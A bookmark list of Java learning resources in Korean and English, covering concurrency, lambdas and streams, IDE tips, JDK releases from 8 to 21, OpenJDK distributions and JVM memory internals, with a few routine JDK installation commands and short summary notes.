- Sub-10 ms Latency in Java: Concurrent GC with Green Threads · Hazelcast Jet
- Java Concurrency - Basics of Threads
- race condition 을 이용한 toctou 에 대해서 알아봅시다
- LMAX Disruptor - A High Performance Inter-Thread Messaging Library
- thread.currentthread 메소드를 이용해서 쓰레드들이 request를 어떻게 처리하는지 실험해 봅시다
- java threadlocal 클래스에 대해서 간단하게 알아봅시다.
- @Async와 함께 사라지다 (feat. TaskDecorator)
- 동시성 프로그래밍에 대하여
- Difference between CountDownLatch vs CyclicBarrier in Java Multithreading | Java67
- Top 12 Java Thread, Concurrency, and Multithreading Interview Questions with Answers | Java67
- # 128 Overloading of Thread class run() method | java how to overload run() method | Java|RedSysTech - YouTube
- Parallel Merge Sort with Fork/Join Framework | HackerNoon
- Java concurrent 패키지의 동기화 장치
- What is Phaser in Java? When and How to use Phaser? Example Tutorial
- Interview Question |Difference Between Runnable And Callable Interface In Java |Runnable Vs Callable - YouTube
- (예제와 함께 보는) 기술을 학습하는 3단계
- 병렬 스트림(Parallel Stream)을 활용한 손쉬운 성능 향상
- Introduction and pitfalls of Java's new concurrency model by David Vlijmincx - YouTube
- Structured Concurrency in Java: The What & Why • Balkrishna Rawool • GOTO 2023 - YouTube virtual thread
- 조회 속도 개선하기 (ESM '문의하기' 기능 개편)
- AKKA.JAVA
- Quasar and Akka – a Comparison
- Quasar and Akka – a Comparison
- Building Reactive Applications with Akka Actors and Java 8
- Java Concurrency: Executor와 Callable/Future
- Example of ConcurrentSkipListMap in Java
- ConcurrentHashMap: usage and functionality
- java.util.concurrent.ConcurrentHashMap Example
- 왜 concurrenthashmap을 쓰는지 간단하게 알아봅시다.
- 12 Examples of ConcurrentHashMap in Java
- ConcurrentHashMap in Java | Example Tutorial | Code Below - YouTube
- java.util.concurrent.Future basics
- Producer-Consumer with ExecutorService.newFixedThreadPool - How many threads are created?
- Effective Java - Run queries on your Java code to check if it meets the criteria suggested by the book Effective Java. And some others
- How to use CompletableFuture in Java? Concurrency Example Tutorial | Java67
- Hugh Mckee - Building Stateful Clustered Microservices with Java, Actors, and Kubernetes
- Keeping Pace with Java - YouTube
- Keeping Pace with Java
- Java is agile by Venkat Subramaniam - YouTube
- A Glance At The Java Performance Toolbox by Ana Maria Mihalceanu - YouTube
- Full-stack development is dead, long live full-stack development! by Simon Martinelli - YouTube
- VDBUH2023 - Mads Opheim & Rustam Mehmandarov - Modern Java App Development in the Cloud - YouTube
- OAuth for Java Developers - YouTube
- Develop Modern and Lightweight Cloud Applications with Jakarta EE 10 by Ivar Grimstad - YouTube
- SIMD Parallel Programming with the Vector API By José Paumard - YouTube
- Java Patterns and Practices for Serverless Applications By Adam Bien - YouTube
- Next-Generation Cloud Native Apps with Spring Boot 3 in 4 Minutes • Thomas Vitale • GOTO 2023 - YouTube
- Securing the Supply Chain for Your Java Applications by Thomas Vitale - YouTube
- Gradle, Sigstore, Cloud Native Buildpacks, Trivy, Syft, and Kyverno
- Cruising Along with Java • Venkat Subramaniam & Alina Yurenko • GOTO 2024 - YouTube
- jbang - Unleash the power of Java by Max Rydahl Andersen - YouTube
- VDBUH2024 Pratik Patel - Cloud Cost Optimization for Java Developers - YouTube
- Eclipse plugin to automatically refactor Java code bases http://autorefactor.org
- IntelliJ IDEA and Eclipse Shortcuts
- 이클립스 웹 개발 2014
- 이클립스 웹 개발 2016
- 이클립스 톰캣 구동 시간 제한 설정
- Start developing in the cloud with Eclipse Che IDE
- Eclipse Mat 메모리 할당 크기 조정 (Mac OS)
- Jump-Starting Lambda Programming
- Java 8 Lambda Expressions & Streams
- Java 8 Lambdas Hacking
- 람다, 람다, 람다(Lambda, Lambda, Lambda) - 1
- The Way of the Lambda and removeIf()
- 람다를 활용한 java8의 Callable, Runnable 예제
- Lambda Expression in Java
- JDK 8 Massive Open and Online Course: Lambdas and Streams Introduction
- Oracle Massive Open Online Course: Java SE 8 Lambdas and Streams
- Using Lambdas to Write Mixins in Java 8
- Java Lambda (1) 기본
- Java Lambda (2) 타입 추론과 함수형 인터페이스
- Java Lambda (3) 메소드 참조
- Java Lambda (4) 기본으로 제공되는 함수형 인터페이스
- Java Lambda (5) 변수 범위
- Java Lambda (6) 예외 처리
- Java Lambda (7) 람다와 클로저
- java 람다 개념을 이해할 때 중요할 법한 function apply 메서드를 알아봅시다
- GOTO 2019 • Achieving Functional Programming in Java • John Napier
- slieb.org - Java 8 Functional Interfaces with Exceptions
- Functional Interface에 대해 새롭게 알게된 내용
- What is a stream ?| introduction to Stream in java _ Programobile
- Handling checked exceptions in Java streams
- Get a Taste of Lambdas and Get Addicted to Streams by Venkat Subramaniam
- How to use groupingBy Collector in Java Streams - CodersTea
- Stream API -most useful operations | by Deepika sharma | Javarevisited | Medium
- 5. Stream API in java 8 Example Tutorial || Java 8 Streams Tutorials || JAVA 8 Tutorials || APIPOTHI - YouTube
- map() Vs flatMap() | Java 8 Streams API | Difference between Map and FlatMap operations in Java ? - YouTube
- Master Stream API | Stream API in Java 8 Tutorial | Java 8 Stream API | Expertise Streams in Java - YouTube
- Dataframes, Collections, and Streams in Java by Donald Raab & Rustam Mehmandarov - YouTube
- Know your Java? by Venkat Subramaniam - YouTube Stream
- 자바 8 람다에서 checked exception을 어떻게 구현하면 좋을까?
- Functional Exceptions In Java
- 5. JAVA - 스트림과 함수형 인터페이스(람다식)
- Design Patterns in the Light of Lambda Expressions. Venkat Subramaniam, Agile developer, inc
- Java 8의 람다 함수 살펴보기
- 잘못 작성된 람다 코드를 삭제하기까지의 여정
- A Java 8 lambda is all you need for distributed background jobs! by Ronald Dehuysser - YouTube
- 10분 테코톡 깃짱, 이리내의 람다와 스트림 - YouTube
- Mastering the new functional Java | by The Bored Dev | codeburst
- 자바와 함수형 프로그래밍
- 인텔리J 시작하기 Part1 (Getting Start IntelliJ) -기본 설정편-
- 인텔리J 시작하기 Part2 (Getting Start IntelliJ) -자바 프로젝트편-
- 인텔리J 시작하기 Part3 (Getting Start IntelliJ) – SVN –
- 인텔리J 시작하기 Part4 (Getting Start IntelliJ) – Git –
- IntelliJ를 이용한 철저한 캡쳐위주 Spring Boot 셋팅 하기-1
- IntelliJ (Ultimate & Community) 에서 스프링부트 active profile 설정하기
- 깃털보다 가벼운 IntelliJ Idea팁
- Intellij vs. Eclipse: Why IDEA is Better
- IntelliJ IDEA and Eclipse Shortcuts
- IntelliJ IDEA에서 마우스를 사용하지 않아도 되는 10개 위치 | The IntelliJ IDEA Blog
- 파워풀 코딩 (IntelliJ , Android Studio)
- IntelliJ Tips and Tricks
- 42 IntelliJ IDEA Tips and Tricks
- 인텔리J 활용 꿀팁 42가지 정리
- 인텔리J 활용꿀팁 42가지
- practice - tips and tricks
- Cheatsheet
- InteliiJ 디버깅하기
- InteliiJ 디버깅하기
- 악취나는 코드 개선하기 시리즈 - NULL
- JetBrains Night 2016 서울 참석 후기!
- JetBrains Night 2017 - IntelliJ IDEA의 Tip & Tricks
- IntelliJ vs Eclipse – you should choose the best
- IntelliJ를 JIRA와 연동해서 사용하기
- IntelliJ에서 Maria DB 사용하기
- IntelliJ의 .http를 사용해 Postman 대체하기
- IntelliJ에서 Json 작업 쉽게 하기
- Toolbox로 설치한 IntelliJ에서 Touchbar를 F1 ~ F12로 고정시키기
- intellij, gradle에서 generated sourceSet 설정
- A Very Simple IntelliJ Idea Tip – Enable Function Keys on Mac Book Pro TouchBar
- IntelliJ 자주 사용하는 기능 정리 - Yun Blog | 기술 블로그
- Jetbrains Cool Tips - Part. 1) Handy Hotkeys with Life Hacking Settings
- mac os에서 intellij 완전 제거 / 백업 하기
- intellij SQL keyword 자동 uppercase
- IntelliJ & 안드로이드 스튜디오 기본 가이드 소개
- IntelliJ 사용법
- IntelliJ 사용팁
- 소소한 인텔리J 팁 공유(auto import 처리)
- Eclipse의 Workspace와 IntelliJ의 Project
- IntelliJ 의존성 목록 확인 및 자동 완성
- IntelliJ에서 Gradle 프로젝트 작동안될때
- IntelliJ http Client 응답값 변수로 저장하고 사용하기
- 맥 환경에서 vscode, intelliJ에 zsh 지정하기
- IntelliJ에서 코드 한 줄 안 짜고 JPQL 실행하기
- 인텔리J 단축키 잘 쓰는 방법
- IntelliJ 단축키
- Mac에서 IntelliJ CMD+SHIFT+A 눌렀을때 터미널이 켜지는 문제 해결
- 생산성을 높여주는 Intellij 꿀 명령어 정리 - YouTube
- IntelliJ에서 Eclipse 프로젝트 import 하기
- 메이븐 프로젝트 이클립스나 인텔리J에 임포트하기
- IntelliJ 2019.2 에서 Gradle로 run과 test가 실행될때
- IntelliJ 실행시 최근 종료한 프로젝트 바로 실행되지 않게 하기
- Intellij output 한글 깨지는 문제
- 웹 JS 애플리케이션 개발시 IntelliJ 디버거 사용하기
- 인텔리제이에 파이썬 인터프리터 설정하기
- IntelliJ 에서 JAR 만들기
- IntelliJ프로젝트에 JAR 라이브러리 추가하기
- IntelliJ IDEA의 로컬 기록(local history)이 여러분의 삶 코드를 구할 수 있습니다
- IntelliJ에서 동시에 여러 Run환경 함께 실행하기
- IntelliJ에서 JPA ER Diagram 확인 방법
- Meet Educational Products—Educational Products
- IntelliJ IDEA 2021.1 EAP 1 Supports Java 16
- 키노트로 만든 IntelliJ, VSCode 키맵 템플릿
- 특정 포트 Process 종료하기
- 10분 테코톡 🍟 웨지의 인텔리제이 디버깅 - YouTube
- JetBrains Productivity Day 4부 패널토크 온/오프라인 인플루언서와 함께하는 IntelliJ IDEA와 생산성에 대한 이야기 - YouTube
- IntelliJ & Webstorm import시 double quotes 대신에 single quotes 기본값으로 사용하기
- IntelliJ & WebStorm에서 ES6(& TS) Import 문에 space 포함시키기
- IntelliJ Idea tricks that I use daily — Java/Spring MS Handling | by Chandrika Deb | Tech x Talent | Jun, 2021 | Medium
- Intellij에서 docker와 docker-compose 사용하는 방법 : 클리앙
- IntelliJ IDEA의 로컬 기록(local history)이 여러분의 삶 코드를 구할 수 있습니다 | JetBrains Blog
- 인텔리J에서 이 옵션은 반드시 켜주시는게 좋습니다. - YouTube
- JetBrains IntelliJ IDEA 2022.1 Introduces Dependency Analysis
- IntelliJ (Kotlin) 매 파일마다 newline 자동으로 추가하기 (feat. EditorConfig)
- Pluu Dev - Lint 작업할 때 쓰면 좋은 도구 UAST/PSI Viewer
- 인텔리제이에서 Git 사용하기
- @Nullable and @NotNull | IntelliJ IDEA
- Java 19와 IntelliJ IDEA | The IntelliJ IDEA Blog
- IntelliJ IDEA의 ‘빠른’ 기능 | The IntelliJ IDEA Blog
- 10분 테코톡 오리의 Intellij Debugging - YouTube
- JetBrains IDE AI Assistant EAP 후기 (2023.07.12)
- IntelliJ & Maven 외부 라이브러리 참조 문제 (Cannot find declaration to go to)
- IntelliJ cannot resolve symbol 에러 해결 - Yun Blog | 기술 블로그
- IntelliJ 각종 팁 - Yun Blog | 기술 블로그
- IntelliJ IDEA Tips & Tricks by Anton Arhipov - YouTube
- JetBrains IDE Developer Productivity & Code Generation Support • Garth Gilmour • GOTO 2024 - YouTube
- IntelliJ 등에서 메모리 점유율이 계속 높아질 때 (feat. vanilla JBR)
- intellij-live-templates: Intellij IDEA Live Templates
- Quokka 플러그인 소개!
- Material Theme UI
- IntelliJ IDEA best plugins
- intellij에서 mybatis generator 플러그인을 사용해 봅시다
- 7 Must have IntelliJ IDEA Plugins in 2021 for Java Developers | CodersTea
- 코드 가독성을 높이는 젯브레인 계열 IDE 에디터 세팅과 플러그인 추천 | by Bernard | 직방 기술 블로그 | Jun, 2023 | Medium
- CodeMetrics 플러그인 소개: 복잡도 점수로 자극 받기 :: 자바캔(Java Can Do IT)
- String Manipulation - IntelliJ IDEs Plugin | Marketplace
- Idea VIM 한글 전환 이슈 해결 과정
- VimtelliJ: All the best of Vim in IntelliJ
-
How to Install JAVA 8 (JDK 8u45) on CentOS/RHEL 7/6/5 and Fedora
# alternatives --install /usr/bin/java java /usr/java/jdk1.8.0_nm-cloudera/bin/java N # echo "N" | alternatives --config java # alternatives --install /usr/bin/jar jar /usr/java/jdk1.8.0_nm-cloudera/bin/jar N # alternatives --install /usr/bin/javac javac /usr/java/jdk1.8.0_nm-cloudera/bin/javac N # alternatives --set jar /usr/java/jdk1.8.0_nm-cloudera/bin/jar # alternatives --set javac /usr/java/jdk1.8.0_nm-cloudera/bin/javac
/lib/ld-linux.so.2: bad ELF interpreter: No such file or directory
yum install ld-linux.so.2
- centos에서 java version관리 (alternatives 사용)
- java version 변경(update-alternatives)
-
Hotfix To Install Latest Oracle JDK On Linux EC2 Instance (CentOS)
-
How to make parallel calls in Java with CompletableFuture example
-
MSA에서 동시에 여러 API 호출로 응답 시간 줄이기 CompletableFuture
-
The Art of Java Language Pattern Matching by Simon Ritter - YouTube
-
Java 8 LTS to the Latest - a Performance & Responsiveness Perspective
- motif - Scala-like pattern matching for Java 8 http://john.leacox.com/motif
- Spark Framework is a simple and lightweight Java web framework built for rapid development
- Java 8: Replace traditional for loops with IntStreams
- Java 스트림 Stream (1) 총정리
- Java 스트림 Stream (2) 고급
- for-loop 를 Stream.forEach() 로 바꾸지 말아야 할 3가지 이유
- 잘못 알고 있었던 java for each 구문과 modcount 필드
- Java8 Stream의 parallel 처리
- Parallel and Asynchronous Programming with Streams and CompletableFuture with Venkat Subramaniam
- 자바에서 스트림이란 무엇이고 어떻게 코드를 간결하고 가독성 높게 만들수 있는지 설명합니다. - YouTube
- Stream API In Java 8 | Making Java Easy To Learn
- stream.Collectors Teeing, a hidden gem in the Java API
- Countdown to Java 9 Release Date
- Removal of sun.misc.Unsafe in Java 9 - A disaster in the making
- jdk-9-end-road-features.html sun.misc.Unsafe는 계속 유지
- Jigsaw Finally Arrives in JDK 9
- Java Jigsaw가 도대체 뭐지? - Java9의 핵심
- The Final Pieces of Java 9 and Project Jigsaw Are Coming Together
- Oracle Open World 2016
- 자바9 자바 플랫폼 모듈 시스템
- what is the difference in Interface of Java7, Java8 and Java9?
- Java 9 Interface Private Methods
- 나만 모르고 있던 – Java 9 (Java9 빠르게 훑어 보기)
- JShell with Example in Java 9
- Javaone 2017
- Clojure, Java 9, and You - Toby Crawley
- How JAVA 9 Is A better approach to JAVA 8
- These are the best free courses to help you learn Java 8 and Java 9
- How to Migrate to Java 9? It’s Easy if You Do It Smart
- Java 9 - Javadoc Improvement - Java2Blog
- 3주차 - Java 9 마무리 - SLiPP 스터디 - SLiPP::위키
- 인포큐 - 자바 10 지역 변수 타입 추론
- You can finally declare Inferred Type local variables in Java with var — here’s why that’s awesome
- New Features in Java 10 | Baeldung
- Local Variable Type Inference: Declare Var, Not War | foojay
-
installation on centos 7
❯ scp ~/Downloads/openjdk-11+28_linux-x64_bin.tar.gz <server>:/tmp [root@<server> tmp]# tar xfvz openjdk-11+28_linux-x64_bin.tar.gz [root@<server> tmp]# cd /usr/lib/jvm [root@<server> jvm]# mv /tmp/jdk-11/ . [root@<server> jvm]# alternatives --install /usr/bin/java java /usr/lib/jvm/jdk-11/bin/java 100 [root@<server> jvm]# alternatives --config java
-
OpenJDK 11, tools of the trade jps, jinfo, jmap, jstack, jconsole
-
Java 8에서 Java 11로 전환 - Azure | Microsoft Docs jdeprscan jdeps
- Teeing Collector in Java 12
- Java Futures, 2019 Edition Java12에 국한된 이야기는 아니며 type inference, switch pattern matching, project Valhalla, Panama, Loom 등 다양한 새로운 기능에 대한 이야기
- Definitive Guide To Java 13
- Java 12 & 13 What's new and noteworthy? By Piotr Przybyl
- What you need to know about Java 13
- Better NPE Messages in JDK 14
- Java Language Futures: Late 2019 Edition by Brian Goetz
- Java 14 Released
- Records Come to Java
- Java records & compact constructors
- Why Java's Records Are Better* Than Lombok's @Data and Kotlin's Data Classes // nipafx
- Java Records for the Intrigued • Piotr Przybył • Devoxx Poland 2021 - YouTube
- 자바 8~15까지 변경 내역과 JVM 실제 통계 외 재미있는 개발 이야기
- Java Feature Spotlight: Text Blocks
- Java 15: the Story So Far
- Java 15 Released
- Java 15 through the eyes of a Scala programmer | by Adam Warski, SoftwareMill | SoftwareMill Tech Blog
- What to Expect in Java 15. A brief look on new features in the… | by Dilan Sachintha Nayanajith | Javarevisited | Medium
- What’s new in Java 15 In this article, we will check what was added and removed in Java 15. | Javarevisited
- Handling null: optional and nullable types
- C++ 14 기능 지원부터 벡터 API까지··· JDK 16, 기능 구체화 - CIO Korea
- What We Know about Java 16 and 17 So Far
- A categorized list of all Java and JVM features since JDK 8 to 16 - Advanced Web Machinery
- Java 16 Record to Reduce Boilerplate Code of POJO | CodersTea
- What's New in Java 16 - YouTube
- 자바 9 - 16 주요 특징 :: 자바캔(Java Can Do IT)
- End of Year Learnings from Minecraft’s Migration to JDK 16 and Q&A with the Mojang Team
- Sailing modern Java • Piotr Przybył • Devoxx Poland 2021 - YouTube
- 자바 17이 다가오면... - DEV Community
- Internal JDK Elements Strongly Encapsulated in JDK 17
- Java News Roundup: JDK 17, JDK 18, Open Liberty, Payara, Quarkus and Spring
- Java 17: These 5 New Features Makes Java 17 Special | CodersTea
- Java 17, the Next Long-Term Support Release, is Now Available
- Java 17 / JDK 17 : General Availability | GeekNews
- Why and How to Upgrade to Java 16 or 17
- OptaPlanner - How much faster is Java 17?
- OpenJDK 기준 11에서 17로 올렸을 때 16에서 17로 올렸을 때 비교
- G1GC 기준 17이 11보다 약 8.66% 빠르고 16보다는 2.41% 빠름
- ParallelGC 기준 17이 11보다 약 6.54% 빠르고 16보다는 0.37% 빠름
- 17에서 ParallelGC는 G1GC보다 16.39% 빠름
- JDK 17 G1/Parallel GC changes
- Springboot Java17 with jlink. 안녕하세요. Kevin 입니다. | by Kevin Park | Sep, 2021 | Medium
- Revisiting Java in 2021 - I
- Revisiting Java in 2021 - II
- Better Random Number Generation in Java 17 // nipafx
- The best HotSpot JVM options and switches for Java 11 through Java 17
- Shenandoah in OpenJDK 17: Sub-millisecond GC pauses | Red Hat Developer
- Embracing Java 17: Here’s What We Learned | by Sander Mak | Nov, 2021 | Picnic Engineering
- Oracle's JDK 17 - Free Again for Commercial Use
- To Java 17 and Beyond! - YouTube
- Not stagnation, but regression of Java. Where modern Java 17 loses to Java 8 | by Marian Čaikovski | Dec, 2021 | Medium
- Java 17 features: A comparison between versions 8 and 17 - Pretius
- Six Features From Java 12 to 17 to Get Excited About!
- Johan Janssen - How and Why to Upgrade to Java 17 - YouTube
- What's new with Java 17 and containers? | Opensource.com
- What’s New Between Java 11 and Java 17?
- 우리팀이 JDK 17을 도입한 이유. 안녕하세요, T플랫폼개발실 개발3팀 제이든입니다. 이번 포스팅에서는… | by 김동기Jayden(제이든)/개발3팀 | Jul, 2022 | 여기어때 기술블로그
- 자바 17을 쓰도록 설득하는 방법 - DEV Community 👩💻👨💻
- Latest Java Features from a Scala Dev Perspective - Part 1: Type Inference
- Latest Java Features from a Scala Dev Perspective - Part 2: Lambda Expressions
- Latest Java Features from a Scala Dev Perspective - Part 3: Functional Interfaces
- Latest Java Features from a Scala Dev Perspective - Part 4: Higher Order Functions
- VDBUH2023 - Johan Janssen - Why and How to Upgrade to Java 17 (and Prepare for 21) - YouTube
- 레코드 및 배열 패턴 外··· 구체화되는 ‘자바 18’ 미리보기 - CIO Korea
- Java18 HttpServer API example
- 'finalize 메소드 퇴역 이후' 자바 오류를 처리하고 클린업하는 방법 - ITWorld Korea
- Java 18 / JDK 18 : General Availability | GeekNews
- Java 18 is Now Available
- JDK 18 G1/Parallel/Serial GC changes
- Java Development in 2022: Predictions and Trends - DZone Java
- All About JDK 18 - Inside Java Newscast #21 // nipafx
- 자바19에 추가될 핵심 기능 7가지 - ITWorld Korea
- JDK 19 and JDK 20: What We Know So Far
- To Java 19 and Beyond - YouTube
- Sailing Modern Java by Piotr Przybyl - YouTube
- JDK 20 G1/Parallel/Serial GC changes
- JDK 20에서 Garbage Collector 관련해서 정리한 글
- Parallel GC는 Full GC 중 객체 처리의 병렬화로 GC로 인한 중단 시간이 20% 감소했고 Serial GC는 눈에 띄는 변경 사항은 없음
- G1 GC에는 다음의 변경 사항 포함
- G1 네이티브 메모리 풋프린트를 Java 힙의 1.5까지 줄일 수 있게 됨
- G1 정제 스레드 관리가 개선되어 애플리케이션이 CPU 사이클을 덜 사용
- G1은 GC 일시 정지 중 오버헤드를 줄이기 위한 로컬 할당 버퍼(PLAB)를 사용하는데 이 공간이 낭비되거나 부족한 현상을 줄이기 위해 PLAB의 크기를 조정하는 기능 추가
- Young generation의 크기 결정에 대한 예측 개선으로 GC 횟수 감소
- 예방적 GC를 기본적으로 비활성화
- 개발자가 알아야 할 데이터 지향 프로그래밍 with JDK 20 | 요즘IT
- JEP 444: Virtual Threads Arrive in JDK 21, Ushering a New Era of Concurrency
- 프로젝트 룸의 버추얼 스레드를 사용해서 코루틴 디스패처를 구현한 예제
- 100만개 코루틴을 만들고 개당 1초씩 스레드 슬립을 줬을때 수행시간
- Dispatchers.IO(스레드 64개) : 4시간 20분
- Dispatchers.IO(스레드 5000개) : 3분 20초
- Dispatchers.LOOM(버츄얼 스레드 100만개) : 1초
- jdk19 이전 버전에선 최대치가 2번까지인데 스레드를 5000개나 만들면 하드웨어 자원을 엄청나게 먹기 때문에 사실상 불가능한 방식
- 메모리를 거의 안먹는 공짜 수준의 버츄얼 스레드 + 코루틴이 병렬처리에 매우 강함
- The Basis of Virtual Threads: Continuations | Foojay.io Today
- Java의 미래, Virtual Thread | 우아한형제들 기술블로그
- Virtual Thread(Project Loom)이 JDK 19부터 얼리 엑세스로 포함되고 JDK21에서 정식 기능이 되면서 스터디한 결과 공유
- 스레드를 사용할 때 더 많은 요청을 처리하면서 컨텍스트 스위칭 비용을 줄이기 위해 훨씬 가벼운 Virtual Thread의 구조와 동작 원리를 보여주고 Thread, Kotlin Coroutine, Reative와 비교해서 성능이 얼마나 차이 나는지도 보여줌
- 우아한테크세미나 2024-04 Java의 미래, Virtual Thread.pdf
- JDK 21의 신기능 Virtual Thread 알아보기 / 제4회 Kakao Tech Meet – tech.kakao.com
- Virtual Thread의 기본 개념 이해하기
- 4월 우아한테크세미나 ‘Java의 미래, Virtual Thread’ - YouTube
- Java 21 Virtual Threads - Dude, Where’s My Lock? | by Netflix Technology Blog | Jul, 2024 | Netflix TechBlog
- Netflix engineers encountered a problem with Java 21 virtual threads causing intermittent timeouts and hung instances
- The issue was traced to a state where Tomcat kept creating new web worker virtual threads for each incoming request, but there were no available OS threads to mount them onto
- The problem was caused by virtual threads being pinned while waiting to acquire a reentrant lock
- The lock was held by a thread in a weird in-between state that should be transient, but the JVM was stuck there
- The solution was to come up with a reproducible test case and look forward to Java 23 and beyond
- which brings a wealth of upgrades and hopefully addresses the integration between virtual threads and locking primitives
- 자바21 주요 특징1 - SequencedCollection - YouTube
- 자바21 주요 특징2 - record 패턴, switch 패턴 매칭 - YouTube
- 자바21 주요 특징3 - 가상 쓰레드 - YouTube
- Java 21 / JDK 21: General Availability | GeekNews
- Hello, Java 21
- A categorized list of all Java and JVM features since JDK 8 to 21 - Advanced Web Machinery
- Java 21: The Nice, The Meh, and the ... Momentous
- A. Sundararajan on X: "Script to search #Java21 javadoc from command line. * Unnamed Classes and Instance Main Methods https://t.co/gMiMqzhyYL * source launcher shebang script support https://t.co/1Ka5Gqy7yv We can call such scripts "Java script"s 😉 #Java https://t.co/TUVgFJku2M" / X
- Building and Deploying Java Client Desktop Applications With JDK 21 and Beyond By Kevin Rushforth - YouTube
- The Panama Dojo: Black Belt Programming with Java 21 and the FFM API By Per Minborg - YouTube
- The Art of Pattern Matching in Java 21 by Alberto Cortina Eduarte - YouTube
- Java 21 and Beyond: A Roadmap of Innovations by Ana-Maria Mihalceanu - YouTube
- From Java 17 to 21: A Showcase of JDK Security Enhancements by Ana Maria Mihalceanu - YouTube
- VDBUH2024 - Laurențiu Spilcă - Maximizing Security with JDK: Understanding Built-in Capabilities - YouTube
- Modern Java in Action • Nicolai Parlog • GOTO 2024 - YouTube
- Java 21이 제공하는 모든 기능을 사용하여 GitHub 크롤러를 작성하는 방법 탐구
- 가상 스레드와 구조화된 동시성
- 패턴 매칭 및 데이터 중심 프로그래밍
- 형 추론, 레코드 및 밀봉된 유형
- 텍스트 블록 및 템플릿 문자열
- 현대적인 HTTP 클라이언트 및 개선된 컬렉션
- 모듈 및 OS별 바이너리
- 현대 자바의 작동 방식 - 니콜라이 파로그 - GOTO 2024 | 완벽한 영상요약, 릴리스에이아이 | Lilys AI
- Java 21이 제공하는 모든 기능을 사용하여 GitHub 크롤러를 작성하는 방법 탐구
- Java is Still Free 2.0.0
- 여러 개의 JDK를 설치하고 선택해서 사용하기 APT/YUM, update-alternatives / alternatives, Homebrew, Chocolatey, direnv, jEnv, SDKMAN, jabba
- JDK Mission Control 8 Released
- Staying JDK: Current in Production - YouTube
- Mac Java 21 & Gradle 8 설치하기 jEnv sdkman
- JDKMon: A little tool written in JavaFX that monitors your installed JDK's and inform you about updates
- SDKMAN! the Software Development Kit Manager
- OpenJDK’s java.utils.Collection.sort() is broken: The good, the bad and the worst case?
- OpenJDK 적용시 고려해야 할 점
- How to install OpenJDK 8 on 14.04 LTS?
- The State of the Module System
- The OpenJDK Revised Java Memory Model
- Migrating from Oracle JDK to OpenJDK on Red Hat Enterprise Linux: What you need to know
- LINE의 OpenJDK 적용기: 호환성 확인부터 주의 사항까지
- MAC OS에서 JAVA 버전 관리하기
- Shaping the Future of Java, Faster 다양한 JDK version에 대한 이야기, 8 to 11 migration, future works
- 여러 개의 JDK를 설치하고 선택해서 사용하기
- Do It Yourself (OpenJDK) Garbage Collector
- Oracle JDK 라이센스
- Open JDK의 변화
- EP.07 OpenJDK 적용하고 벌써 1년, 뭐가 달라졌을까?
- java - Difference between OpenJDK and Adoptium/AdoptOpenJDK - Stack Overflow
- Everything you need to know about OpenJDK’s move to Git and GitHub
- Which Version of JDK Should I Use? | whichjdk.com
- OpenJDK Proposes Project Galahad to Merge GraalVM Native Compilation
- OpenJDK에서 GraalVM 커뮤니티 에디션의 코드베이스 중 일부를 OpenJDK에 합치도록 코드네임 Galahad 프로젝트 제안
- GraalVM은 성공적인 프로젝트이지만 OpenJDK와는 독립된 프로젝트로 진행
- Graal 컴파일러와 관련된 몇 가지 JEP는 OpenJDK 코드베이스에 들어왔었다
- Galahad는 JDK 20을 첫 기준으로 삼고 있고 GraalVM JIT 컴파일러에 기여해서 이를 C2에 통합하는 데 집중할 것이라고 함
- Adoptium - Open source, prebuilt OpenJDK binaries
- Amazon Corretto - No-cost, multiplatform, production-ready distribution of OpenJDK
- AZUL ZULU JDK 문제점(심각한 버그)
- jdk.java.net OpenJDK 설치 binary
- JFR The JDK Flight Recorder File Format - Gunnar Morling
- LIBERICA JDK OpenJDK Overview | BellSoft Java
- Microsoft Build of OpenJDK
- openj9 Eclipse OpenJ9
- Panama: Interconnecting JVM and native code
- TornadoVM: 🌪️ TornadoVM: A practical and efficient heterogeneous programming framework for managed languages
- Zulu - Download Zulu:® tested, certified builds of OpenJDK
- Do not fall into Oracle's Java 11 trap
- Oracle Java SE Subscription에 대하여...
- 오라클 자바 라이센스에 대한 간단 요약
- 번역글 새로운 시대의 Java를 맞이하며
- JSP 빠르게 시작하기
- JSP로 모델1 방식의 회원제 게시판 만들기 - 골든래빗
- spring-boot-todo-jsp: Spring Boot와 JPA, JSP로 구현한 Todo App
- JVM Internal
- JVM Internals
- Debugging JVM Safepoint Pauses
- JVM Deep Dive
- JVMLS 2015 - Compilers are Databases
- JVMLS 2015 - Multi-Language Runtime
- Effective Cryptography in the JVM
- SIGSEGV as control flow - How the JVM optimizes your null checks
- Why is my JVM process larger than max heap size?
- Memory footprint of a Java process by Andrei Pangin
- Why does my Java process consume more memory than Xmx?
- Creating a memory leak with Java
- Hunting Java Memory Leaks
- 도움이 될수도 있는 JVM memory leak 이야기
- The Trouble with Memory
- Pirates of the JVM — The infographic: Are you ready for an adventure?
- Java 시스템 운영 중 알아두면 쓸모 있는 지식들
- 우아한 테크 세미나 - 자바, 성능, 모니터링 이야기 후기
- Evolving Java With
––enable–preview
aka Preview Features - Beyond ByteBuffers by Brian Goetz
- A Dozen Cool Things We Can Do With Popular JVM Languages by Venkat Subramaniam java뿐만 아니라 JVM에서 동작하는 언어들의 특정 feature에 대한 이야기
- Really Small Java Apps jlink, jpackage
- JVM Ecosystem Report 2018
- How Memory Leaks Happen in a Java Application
- Memory Leaks in Java | Issues Caused and How to Prevent | Example - YouTube
- Docker 안에 숨어 있는 Web application JMX profiling Tip
- JVM Anatomy Quarks 한 권의 책
- Why does my Java process consume more memory than Xmx?
- Java Heap Memory 분석 내용 정리 : 네이버 블로그
- JVM 메모리 해부학
- JAVA 메모리 사용량 테스트, 이건 해보셨나요? - YouTube
- A New Future for Java. JVM, Kotlin, and where Java is going… | by The Bored Dev | Better Programming | Aug, 2020 | Medium
- JVM 내부 동작 원리 & 자바 컴파일,실행 순서 - 런타임 영역, JIT 컴파일러, 인터프리터
- Off-Heap memory reconnaissance • Brice Dutheil
- How to Write Unmaintainable (But Wicked Fast!) Code on the JVM by John A. De Goes - YouTube
- 🚀 Visualizing memory management in JVM(Java, Kotlin, Scala, Groovy, Clojure) | Technorage
- Demystifying Java Virtual Machine Memory Management | foojay
- JVM Ecosystem Report 2021 | Snyk
- Journey to the Centre of the JVM — Daniel Spiewak - YouTube
- capsule - Package and Deploy JVM Applications
- Micrometer provides a simple facade over the instrumentation clients for the most popular monitoring systems, allowing you to instrument your JVM-based application code without vendor lock-in. Think SLF4J, but for metrics
- JVM Architecture란? :: 당근케잌
- JVM Architecture & Class Loaders Java | Making Java Easy To Learn
- Java Memory Model(자바 메모리 모델) :: 당근케잌
- 자바 코드와 메서드, 스태틱 변수 등은 메모리의 어디에 위치할까? - 골든래빗
